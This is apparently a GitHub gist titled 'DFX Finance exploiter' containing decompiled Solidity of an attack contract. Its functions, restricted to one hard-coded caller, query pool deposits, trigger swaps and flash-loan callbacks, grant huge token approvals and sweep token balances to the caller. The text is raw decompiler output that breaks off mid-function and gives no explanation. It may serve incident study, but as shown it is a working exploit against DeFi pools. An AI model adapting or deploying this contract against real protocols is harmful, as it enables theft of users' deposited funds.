Skip to content

Instantly share code, notes, and snippets.

@learnerLj

learnerLj/exploiter.sol Secret

Last active November 11, 2022 16:29
Show Gist options
  • Save learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1 to your computer and use it in GitHub Desktop.
Save learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1 to your computer and use it in GitHub Desktop.
Download ZIP
DFX Finance exploiter
Raw
exploiter.sol
// Decompiled by library.dedaub.com
// 2022.11.10 19:37 UTC
// Data structures and variables inferred from the use of storage instructions
uint256 stor_5; // STORAGE[0x5]
uint256 _uniswapV3FlashCallback; // STORAGE[0x6]
uint256 stor_7; // STORAGE[0x7]
uint256 stor_8; // STORAGE[0x8]
uint256 stor_9; // STORAGE[0x9]
uint256 stor_0_0_19; // STORAGE[0x0] bytes 0 to 19
uint256 _app; // STORAGE[0x1] bytes 0 to 19
uint256 stor_2_0_19; // STORAGE[0x2] bytes 0 to 19
uint256 stor_3_0_19; // STORAGE[0x3] bytes 0 to 19
uint256 stor_4_0_19; // STORAGE[0x4] bytes 0 to 19
function () public payable {
revert();
}
function 0x00fba423(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0xf3d7aa346965656e7c65fb4135531e0c2270af83;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x06853c3a(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
require(varg0 == address(varg0));
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
require((address(varg0)).code.size);
v0, v1 = address(varg0).balanceOf(address(this)).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v1);
if (varg1 >= v1) {
require((address(varg0)).code.size);
v2, v3 = address(varg0).balanceOf(address(this)).gas(msg.gas);
require(v2); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
0x43bd(v3);
}
require((address(varg0)).code.size);
v4, v5 = address(varg0).transfer(msg.sender, v3).gas(msg.gas);
require(v4); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v5 == v5);
}
function 0x07248621(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0xf3d7aa346965656e7c65fb4135531e0c2270af83;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
require(stor_0_0_19.code.size);
v8 = stor_0_0_19.originSwap(stor_2_0_19, 0xcadc0acd4b445166f12d2c07eac6e2544fbe2eef, 0x4a817c800, 0, 0xf285c0bd068).gas(msg.gas);
require(v8); // checks call status, propagates error data on error
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x0be06bea(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0x477658494c3541ba272a7120176d77674a0183ba;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
require(stor_0_0_19.code.size);
v8 = stor_0_0_19.originSwap(stor_2_0_19, 0x1abaea1f7c830bd89acc67ec4af516284b1bc33c, 0x9502f9000, 0, 0xf285c0bd068).gas(msg.gas);
require(v8); // checks call status, propagates error data on error
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x0f3a8e57(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0x764a5a29f982d3513e76fe07df2034821fbdba72;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x282690ca(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0x764a5a29f982d3513e76fe07df2034821fbdba72;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
require(stor_0_0_19.code.size);
v8 = stor_0_0_19.originSwap(stor_2_0_19, 0xda446fad08277b4d2591536f204e018f32b6831c, 0x9502f9000, 0, 0xf285c0bd068).gas(msg.gas);
require(v8); // checks call status, propagates error data on error
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x3b12ffc3(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0x63cb0f59b7e67c7d4cb96214ca456597d85c587d;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x44b5406b(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0x9a6c7ae10eb82a0d7dc3c296ecbc2e2bdc53e80b;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x55a1db9a(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0x9a6c7ae10eb82a0d7dc3c296ecbc2e2bdc53e80b;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
require(stor_0_0_19.code.size);
v8 = stor_0_0_19.originSwap(stor_2_0_19, 0x70e8de73ce538da2beed35d14187f6959a8eca96, 0x2540be400, 0, 0xf285c0bd068).gas(msg.gas);
require(v8); // checks call status, propagates error data on error
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x7c1d54db(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0xcf3c8f51de189c8d5382713b716b133e485b99b7;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
require(stor_0_0_19.code.size);
v8 = stor_0_0_19.originSwap(stor_2_0_19, 0x2c537e5624e4af88a7ae4060c022609376c8d0eb, 0x9502f9000, 0, 0xf285c0bd068).gas(msg.gas);
require(v8); // checks call status, propagates error data on error
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0x99ccb372(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0x63cb0f59b7e67c7d4cb96214ca456597d85c587d;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
require(stor_0_0_19.code.size);
v8 = stor_0_0_19.originSwap(stor_2_0_19, 0xc08512927d12348f6620a698105e1baac6ecd911, 0x2540be400, 0, 0xf285c0bd068).gas(msg.gas);
require(v8); // checks call status, propagates error data on error
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0xa799046c(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0xcf3c8f51de189c8d5382713b716b133e485b99b7;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0xb376e665(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
stor_0_0_19 = 0x477658494c3541ba272a7120176d77674a0183ba;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function 0xb727281f(uint256 varg0, uint256 varg1) public payable {
require(4 + (msg.data.length - 4) - 4 >= 64);
0x43bd(varg0);
0x43bd(varg1);
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
stor_5 = varg0;
stor_9 = varg1;
require(stor_0_0_19.code.size);
v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
RETURNDATACOPY(v1, 0, RETURNDATASIZE());
MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
require(v1 + RETURNDATASIZE() - v1 >= 64);
0x43bd(MEM[v1 + 0]);
require(MEM[v1 + 32] <= 0xffffffffffffffff);
require(v1 + MEM[v1 + 32] + 31 < v1 + RETURNDATASIZE());
v2 = v3 = v1 + MEM[v1 + 32] + 32;
require(MEM[v1 + MEM[v1 + 32]] <= 0xffffffffffffffff, Panic(65));
require(!((MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) > 0xffffffffffffffff) | (MEM[64] + ((MEM[v1 + MEM[v1 + 32]] << 5) + 32 + 31 & ~0x1f) < MEM[64])), Panic(65));
v4 = v5 = MEM[64] + 32;
require(v3 + (MEM[v1 + MEM[v1 + 32]] << 5) <= v1 + RETURNDATASIZE());
v6 = v7 = 0;
while (v6 < MEM[v1 + MEM[v1 + 32]]) {
0x43bd(MEM[v2]);
MEM[v4] = MEM[v2];
v4 = v4 + 32;
v2 = v2 + 32;
v6 = v6 + 1;
}
if (1 < MEM[v1 + MEM[v1 + 32]]) {
_uniswapV3FlashCallback = MEM[64 + MEM[64]];
if (0 < MEM[v1 + MEM[v1 + 32]]) {
stor_7 = MEM[32 + MEM[64]];
0x34d3();
exit;
}
}
revert(Panic(50));
}
function app() public payable {
require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
require(_app.code.size);
v0, v1 = _app.approve(stor_0_0_19, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v0); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v1 == v1);
require(stor_2_0_19.code.size);
v2, v3 = stor_2_0_19.approve(stor_0_0_19, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v2); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v3 == v3);
require(stor_2_0_19.code.size);
v4, v5 = stor_2_0_19.approve(0x63cb0f59b7e67c7d4cb96214ca456597d85c587d, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v4); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v5 == v5);
require(0xc08512927d12348f6620a698105e1baac6ecd911.code.size);
v6, v7 = 0xc08512927d12348f6620a698105e1baac6ecd911.approve(0x63cb0f59b7e67c7d4cb96214ca456597d85c587d, 0x5181065483d2f0eb9645be8b060000000000).gas(msg.gas);
require(v6); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
